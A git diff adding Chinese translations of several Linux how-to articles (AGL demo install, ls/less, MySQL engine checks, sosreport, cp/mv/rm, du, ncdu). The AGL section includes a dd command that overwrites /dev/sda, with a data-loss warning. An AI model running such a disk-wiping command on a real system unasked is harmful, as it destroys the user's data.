+Linux基金会和他的参与AGL项目的合作伙伴希望这个解决方案将帮助确保未来“连网汽车”使用开源软件以提供下一代娱乐,导航和其他车内使用的工具。“公开和合作是促进一个公共的,标准的汽车平台发展的关键,以便这个产业可以更快速地实现供连网汽车使用的愿望。”Linux基金会的汽车总经理Dan Cauchy这样说。 + +Cauchy补充道,Linux基金会期望AGL是一个良好的开端,其合作者希望在以后的版本中能加入“一些额外的功能和特点。” + +## 下载和安装测试 ### + +### 下载 ### + +可以从此下载镜像:http://content.linuxfoundation.org/auto/downloads/images/ + +支持在PC上测试,也提供了Vmware镜像。 + +### 安装在X86上 ### + +**创建一个USB启动盘** + +1. 下载GPartd Live 镜像的压缩文件:http://gparted.sourceforge.net/download.php 。 +2. 使用FAT32文件系统格式化一个最少8GB的U盘。 +3. 解压 GPartd Live镜像的压缩包,并复制全部内容到U盘。保持完整的目录格式,比如你可以确认GPL这个文件是不是在U盘的根目录。 +4. 把U盘变成可启动的,根据你使用的系统不同而不同: + a) Linux: 执行U盘里 utils/linux 目录下的 makeboot.sh 。 + b) Windows: 执行U盘里 utils\win32 目录下的 makeboot.bat 。 +5. 按 脚本提示执行。 +6. 复制 [AGL 演示镜像][6]到U盘。 + +**安装到机器上** + +注意:这会破坏你的机器上的所有数据!所以请确保机器上的硬盘上的数据是无用的。 + +1. 使用刚刚制作好的 GPartd U盘启动系统。 +2. 默认运行 GPartd (所有选项直接回车确认即可) +3. 打开一个终端,并复制镜像内容到机器的硬盘: + gunzip -c agl-demo_1-0.img.gz | dd of=/dev/sda bs=16M +4. 关闭终端。 +5. 在 GPartd 窗口,刷新设备。 +6. 将 /dev/sda3 的大小扩展到整个硬盘的可用空间。 +7. 关机。 +8. 拔下U盘。 +9. 重启! + + +### 创建VMware虚拟机 ### + +在 64位Windows 7和32位Windows XP上的 VMware Player 5 测试通过。 + +1. 下载 VMWare Player: http://www.vmware.com/products/player +2. 解压缩 [AGL VMWare image][7] +3. 在 VMware 中增加新的虚拟机: + + 1. 选择“我将稍后安装操作系统” + 2. 使用 'Linux' -> 'Fedora' + 3. 给个名字,比如: tizen-ivi-2.0 + 4. 创建一个新的磁盘,不过这个磁盘我们稍后会删除并重建一个新的 + (将\ 作为 IDE(0:0) 设备添加) + 5. 创建好虚拟机之后,然后“编辑虚拟机设置” + 6. (可选)取消CD/DVD的“启动后连接”的选项(除非你的宿主机上有这个设备) + 7. (可选)取消打印机的“启动后连接”的选项 + 8. 删除虚拟机当前的硬盘 + 9. 添加一个新的硬盘 + 10. 选择“使用已有的虚拟磁盘”,使用那个解压缩得到文件 + 11. 当第一次启动虚拟机时,如果询问你是否要升级当前格式时,选择“保持现在的格式” +4. 运行: + 1. 启动虚拟机 + 2. 系统启动后显示一个黑屏,在桌面上任何地方右键点击并打开一个终端 + 3. 运行如下命令 + ./start_demo.sh + 这会调整屏幕分辨率,打开声音,启动node.js引擎,并最终显示界面。 + +### 更多的演示截图 ### + +请参看我们之前的一篇文章:http://linux.cn/article-3324-1.html + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/070114/automotive-grade-linux-released-open-source-cars + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://automotive.linuxfoundation.org/ +[2]:http://linuxfoundation.org/ +[3]:http://automotive.linuxfoundation.org/ +[4]:https://www.tizen.org/ +[5]:http://automotive.linuxfoundation.org/node/add/downloads +[6]:http://content.linuxfoundation.org/auto/downloads/images/agl-demo-x86-1.0.img.gz +[7]:http://content.linuxfoundation.org/auto/downloads/images/agl-demo-vmware-1.0.vmdk.bz2 + diff --git a/published/201407/20140702 Command Line Tuesdays--Part Three.md b/published/201407/20140702 Command Line Tuesdays--Part Three.md new file mode 100644 index 0000000000..5f7478e869 --- /dev/null +++ b/published/201407/20140702 Command Line Tuesdays--Part Three.md @@ -0,0 +1,83 @@ +命令行星期二 —— 第三篇 +================================================================================ +今天,肖茨先生将带领我们游历文件系统的第一部分。我们将学到如何访问、列出目录内的文件,以及首次介绍一些选项的运用。OK,让我们开始学习这周的第一个命令。 + +### ls ### + +ls 是一个用来列出目录内文件的命令。通过添加**选项**来实现多种不同的用途。简单起见,你可以只需键入 ls 。但是,你也可以在命令后面添加一个选项,它会帮助你修饰你的命令。如果你想要随意摆弄一些信息时,这会帮到你的。举例来说,当你要从一个命令的大量输出中找寻指定信息,你可以用选项缩小范围来实现。 + +这就是选项的基础概念。我们可以用下面书写格式表示: + + command(命令) -option(选项) argument(参数) + +命令,恩...,我们可以输入 pwd、 ls, 或者我们到目前为止所有学过的命令。 + +以上我们已经阐述了选项的目的。但是我们需要注意一下书写格式:在前头添加一个破折号。所以,如果选项为 l, 你需要在命令后键入**-l**。 + +**参数**是一个命令的操作对象(在这个例子中,它是一个目录,我们将会学到如何浏览它们)。 + +接着,让我们尝试在主目录里尝试用 ls 命令列出 /etc 目录内容。这次我们先不添加选项。 + +![](https://news.opensuse.org/wp-content/uploads/2014/06/Screenshot-30.-06.-2014-184127.png) + +就这样,列出了一大堆的文件。它们还根据颜色进行了分类。蓝色的是目录,白色的为普通文件,绿色的似乎是某种 shell 脚本文件。除此之外,还有其他不同的颜色来代表不同的文件类型。 + +接下来,你可以在刚才的命令里添加 -l 选项。添加选项 -l 后也会列出同样的文件和目录,但是以长格式方式输出。如果你需要查看更多信息的话,这个选项将是不错的选择。 + +![](https://news.opensuse.org/wp-content/uploads/2014/06/Screenshot-30.-06.-2014-184542.png) + +### 长格式 ### + +这样,用了长格式后,你可以看到更详细的信息,以及在每行开头类似-rw-r--r-- 令人抓狂的标示。实际上,这只是一种组合,代表了各种意义的信息。 + +![](https://news.opensuse.org/wp-content/uploads/2014/06/Screenshot-30.-06.-2014-184829.png) + +(File Name)就是文件的名称。(Modification time)是文件最后修改的时间。(Size) 用 byte 计量的文件大小。(Group) 是组的名称,和拥有者一起构成文件权限。(Owner) 是文件拥有者的名称。最最重要的… + +###…文件权限 ### + +文件权限在长格式每一行的开端都显得非常的杂乱。第一个字符代表文件类型。如果是 'd' , 意味着它是一个目录。如果是 '-' , 意味着它是一个一般文件。接下来的三个字符分别代表拥有者的可读, 可写 ,可执行的权限。再接着三个字符表示组成员的享有的文件权限,而最后三个字符表示其他人(既不是拥有者也不是同组)对文件的享有权限。 + +例如,如果有个文件在长格式下显示为:-rw-r--r--, 这说明这是个普通文件(首字符 '-'),拥有者享有可读可写权限,但是没有可执行权限,导致拥有者无法执行该文件(首字符'-'后'rw-'),用户组和其他用户只享有可读权限(你不难发现'r--'字段在后面出现了两次 。如果用户组是 'rwx' 而不是 'r-',则意味着它们可读,可写,可执行)。 + +ls 的下个选项是 ls -la .. ,-a 它会列出所有的文件,包括隐藏文件。在通常情况下,隐藏文件是不可见的。用长格式列出当前工作目录下的父目录的所有文件。 + +### less ### + +less 是一个可以显示你的文本文件的命令。举例来说,你要在 /etc 下找寻名为 os-release 的文本文件。你可以使用 ls /etc 成功实现,而现在你想要阅读它的内容。 + +你只需要使用 less /etc/os-release。 + +![](https://news.opensuse.org/wp-content/uploads/2014/06/Screenshot-30.-06.-2014-190252.png) + +..就这样了。 + +你要如何控制 less 呢? + +简单的, 你只需要动动键盘就行了! + +less 一次只会显示一个页面的文本。往前翻页你需要按 **Page Up**, 或者 **'b'**。往后翻页你可以按**Page Down**, 或者 **空格**。大写的**G**会跳转到文本的末尾,**1G**会跳转到文本的开端。**/字符**会在文本内搜索指定字符(例如,如果你输入 /suse ,它会找寻所有文本含有的 suse 并标记出来)。n 会重复执行你的搜索,**h**会显示所有的选项(h,即帮助的意思)。 + +![](https://news.opensuse.org/wp-content/uploads/2014/06/halp.jpg) + +按q退出 less 命令。 + +### file ### + +file 会显示文件的类型,是否是你要找的 ASCII 文本,还是 jpg 图片,bash 脚本等。让我们用 /etc/os-release 执行练习。 + +![](https://news.opensuse.org/wp-content/uploads/2014/06/Screenshot-30.-06.-2014-191402.png) + +这样,如你所见,os-release 是一个 ASCII 文本文件。 请尝试其他文件,并观察结果。 + +下回见了,记住… + +…一定要玩的开心啊! + +-------------------------------------------------------------------------------- + +via: https://news.opensuse.org/2014/07/01/command-line-tuesdays-part-three/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201407/20140702 How to check MySQL storage engine type on Linux.md b/published/201407/20140702 How to check MySQL storage engine type on Linux.md new file mode 100644 index 0000000000..ef16572047 --- /dev/null +++ b/published/201407/20140702 How to check MySQL storage engine type on Linux.md @@ -0,0 +1,41 @@ +[小白技巧]如何在Linux上检查MySQL数据表的存储引擎类型 +================================================================================ +> **提问**: 我想要知道我的MySQL数据库是MyISAM还是Innodb类型。我该如何检查MySQL数据库表的类型? + +MySQl主要使用两种存储引擎:**MyISAM 和 Innodb**。MyISAM是非事务的,因此拥有读取更快,然而InnoDB完全支持细颗粒度的事务锁定(比如:commit/rollback)。当你创建一张新的MySQL表时,你要选择它的类型(也就是存储引擎)。如果没有选择,你就会使用与预设置的默认引擎。 + +如果你想要知道已经存在的MySQL数据表的类型,这里有几种方法达到。 + +### 方法一 ### + +如果你可以访问phpMyAdmin,你可以从phpMyAdmin找出默认的数据库类型。从phpMyAdmin中选中数据库来查看它的表列表。在“Type”一列的下面,你会看到每个表的数据表类型。 + +![](https://farm4.staticflickr.com/3871/14526575875_c1da3d9c7a_z.jpg) + +### 方法二 ### + +如果你可以直接登录MySQL服务器,另外一种鉴别存储引擎的方法是登录MySQL服务器后运行下面的MySQL命令: + + mysql> SELECT ENGINE FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'my_database' AND TABLE_NAME = 'my_table'; + +上面的命令会显示在'my_database'数据库中'my_table'表的引擎类型。 + +### 方法三 ### + +还有一种检查引擎的方法是使用mysqlshow,是一种命令行下的显示数据库信息的工具。mysqlshow在[MySQL 客户端安装包][1]中有。要使用mysqlshow,你需要提供MySQL服务器登录凭据。 + +下面的命令会显示特定的数据库信息。在“Engine”一列下面,你可以看到每个表使用的引擎。 + + $ mysqlshow -u -p -i + +![](https://farm4.staticflickr.com/3845/14340200549_8fbe7ea7b5_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-mysql-storage-engine-type-linux.html + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2013/06/how-to-install-mysql-server-and-client-on-linux.html \ No newline at end of file diff --git a/published/201407/20140702 How to create sosreport in linux (RHEL 5.X or RHEL 6.X).md b/published/201407/20140702 How to create sosreport in linux (RHEL 5.X or RHEL 6.X).md new file mode 100644 index 0000000000..00569b6586 --- /dev/null +++ b/published/201407/20140702 How to create sosreport in linux (RHEL 5.X or RHEL 6.X).md @@ -0,0 +1,42 @@ +如何用sosreport在Linux上创建诊断信息 +================================================================================ +**Sosreport**是**RHEL / CentOS**上的一个命令,它会收集**系统配置**和你linux机器上的诊断信息,如正在运行的内核版本、加载的模块和系统和服务配置文件之类的信息。这个命令同样可以运行外部的程序来收集更多的信息,并存储这些输出到一个结论文档中。 + +Sosreport在你需要获得redhat的技术支持时需要它。Redhat的支持工程师会要求你服务器上的sosreport来用于故障排除。 + +要运行sosreport,需要安装**sos** 包。sos包是大多是linux的默认安装包中的一部分。如果因为某种原因没有安装,那么运行下面的yum命令来安装**sos 包** : + + # yum install sos + +### 生成报告 ### + +打开终端输入sosreport命令: + + # sosreport + +这条命令正常情况下会在**几分钟**里完成。根据本地配置,在某些情况下,某些选项可能需要更长的时间才能完成。一旦完成,sosreport将在**/ tmp目录**目录中生成一个压缩文件。不同版本使用不同的压缩方案(** gz,bz2,或xz**)。该文件应提供给红帽的支持代表(在开放的情况下通常作为附件)。 + +**注意**:sosreport需要root权限才能运行。 + +### sosreport命令中不同的选项: ### + +sosreport命令有一个**模块化结构**,并允许用户启用和禁用模块,并通过在命令行指定模块。要**列出可用的模块**(插件),请使用以下命令: + + # sosreport -l + +要禁用一个模块,用逗号隔开的列表传给-n/–skip-plugins选项。比如要kvmand 、amd这两个模块: + + # sosreport -n kvm,amd + +各个模块可以通过-k选项提供额外的选项。例如,在Red Hat Enterprise Linux 5中安装的sos rpm模块默认收集“rpm -Va”的输出。因为这是个耗时行为,因此可以通过下面的命令禁用: + + + # sosreport -k rpm.rpmva=off + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/how-to-create-sosreport-in-linux/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201407/20140703 How to find and kill misbehaving MySQL queries.md b/published/201407/20140703 How to find and kill misbehaving MySQL queries.md new file mode 100644 index 0000000000..848d466fdd --- /dev/null +++ b/published/201407/20140703 How to find and kill misbehaving MySQL queries.md @@ -0,0 +1,63 @@ +怎样把坏的MySQL查询找到并杀死? +================================================================================ + +有时,关系型相关数据库系统的复杂性会把你搞晕,不过幸运的是,使用MySQL工具来管理查询就就可以避免这些复杂性。 在本教程中,我将向你们展示 **怎样去查找并杀掉任何非法的MySQL查询**。 + +为了浏览当前正在运行的查询,登陆到MySQL终端,然后运行‘show processlist’命令: + + mysql> show processlist; + + +--------+--------+-----------------+---------+---------+-------+-------+------------------+-----------+---------------+-----------+ + | Id | User | Host | db | Command | Time | State | Info | Rows_sent | Rows_examined | Rows_read | + +--------+--------+-----------------+---------+---------+-------+-------+------------------+-----------+---------------+-----------+ + | 78233 | root | 127.0.0.1:37527 | mysql | Sleep | 16474 | | NULL | 6 | 6 | 6 | + | 84546 | root | 127.0.0.1:48593 | mysql | Sleep | 13237 | | NULL | 2 | 2 | 2 | + | 107083 | root | 127.0.0.1:56451 | mysql | Sleep | 15488 | | NULL | 1 | 121 | 121 | + | 131455 | root | 127.0.0.1:48550 | NULL | Query | 0 | NULL | show processlist | 0 | 0 | 0 | + +--------+--------+-----------------+---------+---------+-------+-------+------------------+-----------+---------------+-----------+ + 4 rows in set (0.03 sec) + +首先你应该查看'Time'项,这里记录了进程执行 "做其当做的事情" 操作的秒数。‘command’项处于‘Sleep’ +状态的进程表示其正在等待接受查询,因此,它并没有消耗任何资源。对于其他任何进程而言,‘Time’超过一定的秒数表明出现问题。 + +在上面的例子中,唯一运行的查询是我们的‘show processlist’命令。让我们来看看如果我们有一个写的很烂的查询是怎么样的: + + mysql> show processlist; + + +--------+--------+-----------------+-----------+---------+-------+--------------+----------------------------------+-----------+---------------+-----------+ + | Id | User | Host | db | Command | Time | State | Info | Rows_sent | Rows_examined | Rows_read | + +--------+--------+-----------------+-----------+---------+-------+--------------+----------------------------------+-----------+---------------+-----------+ + | 78233 | root | 127.0.0.1:37527 | example | Sleep | 18046 | | NULL | 6 | 6 | 6 | + | 84546 | root | 127.0.0.1:48593 | example | Sleep | 14809 | | NULL | 2 | 2 | 2 | + | 107083 | root | 127.0.0.1:56451 | example | Sleep | 17060 | | NULL | 1 | 121 | 121 | + | 132033 | root | 127.0.0.1:54642 | example | Query | 27 | Sending data | select max(subtotal) from orders | 0 | 0 | 0 | + | 133933 | root | 127.0.0.1:48679 | NULL | Query | 0 | NULL | show processlist | 0 | 0 | 0 | + | 134122 | root | 127.0.0.1:49264 | example | Sleep | 0 | | NULL | 0 | 0 | 0 | + +--------+--------+-----------------+-----------+---------+-------+--------------+----------------------------------+-----------+---------------+-----------+ + 6 rows in set (0.00 sec) + +啊哈!现在我们看到有一个查询运行了将近30秒。如果我们不想让它的进程继续运行,可以将它的'Id'传递给kill命令: + + mysql> kill 132033; + Query OK, 0 rows affected (0.00 sec) + mysql> + +(注意 由于我们没有改变任何数据,MySQL总是报告0行被影响。) + +明智的使用kill命令能够清除积压的查询。然而,要记住的是,那不是一种永久的方法 - 如果这些查询来自你的程序,你需要去重写它们,或者将继续看到相同的问题不断出现。 + +### 另请参阅 ### + +关于不同‘命令’的MySQL文档: + +- [https://dev.mysql.com/doc/refman/5.7/en/thread-commands.html][1] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/find-kill-misbehaving-mysql-queries.html + +译者:[hunanchenxingyu](https://github.com/hunanchenxingyu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://dev.mysql.com/doc/refman/5.7/en/thread-commands.html \ No newline at end of file diff --git a/published/201407/20140709 Command Line Tuesdays--Part Four.md b/published/201407/20140709 Command Line Tuesdays--Part Four.md new file mode 100644 index 0000000000..4fce09d33d --- /dev/null +++ b/published/201407/20140709 Command Line Tuesdays--Part Four.md @@ -0,0 +1,83 @@ +命令行星期二——第四部分 +=================== + +大家好。新的一周,新的冒险! + +今天,我们将会学习使用四个相当简单的命令去操作文件。好,废话少说,我们开始吧。 + +在开始学习这些命令之前,我们先稍微说些题外话,讲讲“通配符”的用处。 + +###通配符### + +使用图形工具区复制、粘贴、新建目录等操作也许很容易,但是若想完成一些更复杂的任务,例如仅仅将一个目录下的所有.html文件复制到另一个目录中、或者只复制在某个目录中不存在的文件,这时命令行也许会比较方便。我们回到通配符的学习中,通配符是shell的基本功能,它是一个由一些特殊字符组成的集合,它让你可以用一些简单的规则来选择出某些文件。(通配符可以出现在文件名中,用于指定文件名的字符个数和字母的大/小写等规则)。 + +如下表 : + +![](https://news.opensuse.org/wp-content/uploads/2014/07/Screenshot-08.-07.-2014-125946.png) + +下面是肖茨先生给出的一些实例,如下表: + +![](https://news.opensuse.org/wp-content/uploads/2014/07/Screenshot-08.-07.-2014-125959.png) + +如果你使用一个包含文件名参数的命令,你就可以使用通配符。 + +###cp### + +cp是一个用于复制文件或者目录的命令,它的用法相当的简单。进入到你想复制的文件所在的目录,然后使用如下命令 + +`cp file1 file2` -复制一个文件 + +或者 + +`cp file1 file2 ... directory` -从当前工作目录复制多个文件到指定的目录。 + +下表是肖茨先生给出的cp命令的一些选项: + +![](https://news.opensuse.org/wp-content/uploads/2014/07/Screenshot-08.-07.-2014-134248.png) + +###mv### + +mv是今天的第二个命令,我们可以使用mv来重命名一个文件或目录,或者移动一个文件或目录。我们可以这样使用mv命令。 + +`mv filename1 filename2` -若想将文件filename1重命名为filename2。 + +或者 + +`mv file directory` -若想将一个文件移动到某个目录。 + +下表是一些mv命令的实例 + +![](https://news.opensuse.org/wp-content/uploads/2014/07/Screenshot-08.-07.-2014-133515.png) + +###rm### + +rm命令是用于删除文件或目录,它的用法比较直接,如下: + +`rm file` + +或者 + +`rm -r driectory` + +这里也有一个包含rm其他选项的表 + +![](https://news.opensuse.org/wp-content/uploads/2014/07/Screenshot-08.-07.-2014-133529.png) + +但是,使用rm命令时要小心点。因为并没有撤销删除的选项,因此使用rm命令式要格外的小心,避免对你的系统造成不必要的破坏。 + +###mkdir### + +mkdir是用于创建目录.它是今天最简单的一个命令: + +`mkdir directory` + +看,目录成功创建了! + +这是本周的内容,下周二再见,致以最真诚的问候! + +------------------------------------------------------------------------- +via: https://news.opensuse.org/2014/07/08/command-line-tuesdays-part-four/ + +译者:[cvsher](https://github.com/cvsher) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201407/20140709 How To Disable Overlay Scrollbars in Ubuntu 14.04.md b/published/201407/20140709 How To Disable Overlay Scrollbars in Ubuntu 14.04.md new file mode 100644 index 0000000000..360f9ca5cb --- /dev/null +++ b/published/201407/20140709 How To Disable Overlay Scrollbars in Ubuntu 14.04.md @@ -0,0 +1,44 @@ +[小技巧]如何在Ubuntu14.04中禁用叠加滚动条 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Ubuntu-14.042-790x493.jpeg) + +Hello 伙计们, + +这是一个如何在Ubuntu中禁用叠加滚动条的小技巧。注意,在本文中讲的不是删除叠加功能,而是告诉你如何启用或禁用它。 + +### 禁用 ### + +打开终端并执行以下命令 + + gsettings set com.canonical.desktop.interface scrollbar-mode normal + +更改后会立即生效: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Unity_Overlay_off.png) + +### 启用 ### + + gsettings reset com.canonical.desktop.interface scrollbar-mode + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Unity_overlay_on.png) + +Enjoy! + +---------- + +![](http://0.gravatar.com/avatar/25c00329fd45ff820497f9c8c2d79dd3?s=70&d=monsterid&r=G) + +[Enock Seth Nyamador][1] + +我穿着--[0-0]--(比基尼?), 一个开源的瘾君子。一个发展中的非洲geek。我是一个菜鸟开发者和一个有追求的摄影师。想提供给我什么或者是小贴士,请随时与我联系。我随时准备开发和照片。干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/disable-overlay-scrollbars-ubuntu-14-04-quick-tip/ + +译者:[Vito](https://github.com/vito-L) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unixmen.com/author/seth/ + diff --git a/published/201407/20140709 Red Hat Announces Availability of its OpenStack Platform 5.md b/published/201407/20140709 Red Hat Announces Availability of its OpenStack Platform 5.md new file mode 100644 index 0000000000..6d038b032e --- /dev/null +++ b/published/201407/20140709 Red Hat Announces Availability of its OpenStack Platform 5.md @@ -0,0 +1,44 @@ +红帽公司发布 OpenStack Platform 5 +================================================================================ +![](http://farm4.static.flickr.com/3108/3191608123_67e1da2b79_o.jpg) + +红帽公司[宣布][1]在RHEL上推出OpenStack Platform5,这是基于OpenStack开源云的第三个企业级发行版。该版本不仅开发了一些新功能,针对的用户群体也大为增多,如高大上的云用户、电信企业、互联网服务供应商(ISP)、公有云服务供应商等。 + +OpenStack Platform 5是基于最新的Openstack Icehouse的发行版,并且针对云计算技术做了大量的修改和优化工作而来的。 + +这个最新的发行版有3年的技术支持周期,[我选择了使用][2]它是考虑到红帽公司在Linux系统上对用户无以伦比的技术支持,红帽公司对其OpenStack Platform 5的技术支持服务将是促使企业购买的关键之一。 + +对于红帽公司是否会支持OpenStack的其他发行版尚未有定论,但一份OpenStack用户调查已经显示[90%的OpenStack开发人员并没有在RHEL上使用OpenStack][3],而是选用了Ubuntu或者CentOS Linux和其虚拟化技术。 + +OpenStack Platform 5的最新功能: + +> **支持和VMware基础架构的整合**,结构包含虚拟化、管理、网络和存储。 +用户一般会使用已经在使用的VMware vSphere资源,比如虚拟化驱动作为OpenStack (Nova)的计算节点,再使用上层的OpenStack Dashboard(Horizon)对节点进行管理。 +同样的,RHEL OpenStack Platform 5也支持VMware的NSX插件,作为OpenStack NetWorking (Neutron)对网络进行管理,支持VMware虚拟磁盘(VMDK)以插件形式存在,作为OpenStack Block Storage(Cinder)来使用。 +> + +> **对云资源的使用,采取了更好的布置。**服务器组让计算散布到OpenStack云的服务节点上,这让分布式应用有了更强的弹性,对于复杂的应用,也能起到降低通信延迟,提高运算性能的作用。 +> + +> **对虚拟机更好的支持,支持加密,满足美英国家对信息安全的要求** 使用RHEL 7中提供的半虚拟化随机数生成器,在用户程序中也添加进这个工具,可以更好的加密质量和性能提升。 + +> **提升协议栈的互通性**红帽公司宣称,Neutron中新开发的模块化的网络技术将简化OpenStack的部署。这种技术将允许用户在OpenStack中部署多种网络方案来解决异构网络的访问。 + +红帽公司虚拟化和OpenStack产品线总经理 Redhesh Balakrishnan说到: + +> “我们看到越来越多的企业级用户或服务供应商选择OpenStack作为私有云平台,RHEL OpenStack Platform 5不只是一个基于OpenStack Icehouse产品,我们还开发了很多简单易用的功能,增强了产品的可靠性。 +在未来三年内,我们要让用户看到,RHEL OpenStack Platform 5所提供的功能和技术支持服务,将为他们部署的应用保驾护航,让用户对我们的产品充满信心。 + +我敢跟你打赌,--三年的技术支持服务--将是企业用户在竞争激烈的云平台领域选择红帽的关键点。并且,毋庸置疑,红帽公司把自己的未来放在了云计算,放在了OpenStack Platform上面。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/red-hat-announces-availability-of-its-openstack-platform-5 + +译者:[nd0104](https://github.com/nd0104) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.marketwatch.com/story/red-hat-announces-general-availability-of-red-hat-enterprise-linux-openstack-platform-5-2014-07-08 +[2]:http://ostatic.com/blog/why-red-hats-openstack-support-must-be-as-inclusive-as-possible +[3]:http://www.openstack.org/blog/2013/11/openstack-user-survey-october-2013/ \ No newline at end of file diff --git a/published/201407/20140711 Linux Basics--How To Find Size of Directory Commands.md b/published/201407/20140711 Linux Basics--How To Find Size of Directory Commands.md new file mode 100644 index 0000000000..28d56c3faa --- /dev/null +++ b/published/201407/20140711 Linux Basics--How To Find Size of Directory Commands.md @@ -0,0 +1,65 @@ +Linux基础:如何在命令行中查看目录的大小 +===================================================================== + +这是写给Liunx新用户的一系列文章中的第一篇,在这系列文章我将会写一些对新用户来说非常好用的**Linux基础命令**。 + +**注意**:本文的目标读者是仅有小量甚至是没有任何Linux命令行使用经验的读者。 + +>作为一个Linux的新用户,我怎样可以在命令行终端中查看某个目录的属性? + +###要求### + +唯一的要求是**du**命令行工具。du基本上是所有Linux发行版本默认提供的工具。用以下的命令来检查你的系统中是否可以使用du命令: + + man du + +**du** 命令用于输出文件的空间使用情况。 + +###使用du### + +不带任何参数的运行du命令会显示当前工作目录以及其子目录的文件名和所占用的空间大小(以字节为单位)。 + + du + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/du-overview.png) + +使用**-h**参数以对用户友好的方式输出文件大小,即分别以**K, M**和**G**来表示**Kb,Mb**和**Gb** + + du -h + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/du-h.png) + +若想查看某个特定目录的文件大小,则在du命令中指定要查看的目录名,如下: + + du -h Mapmaker + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/du-h-mapmaker.png) + +使用 **-c** 参数来查看目录所占用磁盘空间的总大小 + + du -ch + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/du-ch.png) + +使用 **-s** 参数只输出指定目录占用空间的大小 + + du -sh Mapmaker Sandbox + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/du-ch.png) + +使用 man du 查看du命令更多参数的用法 + + man du + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/man-du.png) + +知道du命令更多的用法?请分享给我和其他人。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-basics-find-size-directory-commands/ + +译者:[cvsher](https://github.com/cvsher) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + diff --git a/published/201407/20140711 ncdu--NCurses Disk Usage Analyzer.md b/published/201407/20140711 ncdu--NCurses Disk Usage Analyzer.md new file mode 100644 index 0000000000..5f9ebf05cd --- /dev/null +++ b/published/201407/20140711 ncdu--NCurses Disk Usage Analyzer.md @@ -0,0 +1,80 @@ +ncdu – 基于ncurses库的磁盘使用分析器 +================================================================================ +[Ncdu][1] (NCurses Disk Usage) 是一个基于Ncurses库的du命令的界面。它通过大家熟知的[du][2]命令,为用户提供一个快速且容易被使用的界面。它可以显示磁盘使用的百分比,且允许你使用ncurses库的方式在目录之间导航。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/ncdu-about.png) + +### 安装 ### + +ncdu已经被移植到大多数linux发行版本,可从官方资源库中安装. + +Arch / Manajaro 及其衍生版: + + sudo pacman -S ncdu + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/ncdu.png) + +Ubuntu / Debian / Linux Minut 及其衍生版: + + sudo apt-get install ncdu + +Fedora 及其衍生版: + + sudo yum install ncdu + +在[这里][3]可以找到其他的发行版。 + +### 使用 ncdu ### + +键盘操作: + + +- up, k — 向上移动光标 +- down, j – 向下移动光标 +- right/enter — 打开选定的目录 +- left, <, h — 打开父目录 +- n — 按文件名排序(升序/降序) +- s — 按文件大小排序(升序/降序) +- C – 按项目数排序(升序/降序) +- d – 删除选定的文件或目录 +- t — 排序时将目录放在文件前面 +- g – 以图形方式显示百分比 + +为使用ncdu,请打开终端并且运行 + + ncdu + +开始扫描目录. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/ncdu-scanning.png) + +当扫描完成后,你能够很容易的看到文件/目录的大小. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/done-scanning.png) + +确认删除文件: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/ncdu-delete-confirm.png) + +在[这里][4] 阅读ncdu命令手册或运行: + + man ncdu + +**荣誉**: 有两位读者**BasketCase**和**Sama Vim**在阅读“[Linux基础:如何在命令行中查看目录的大小][5]”之后 向我们推荐了这个Ncdu工具。 + + +Enjoy! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/ncdu-ncurses-disk-usage-analyzer/ + +译者:[hunanchenxingyu](https://github.com/hunanchenxingyu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://dev.yorhel.nl/ncdu 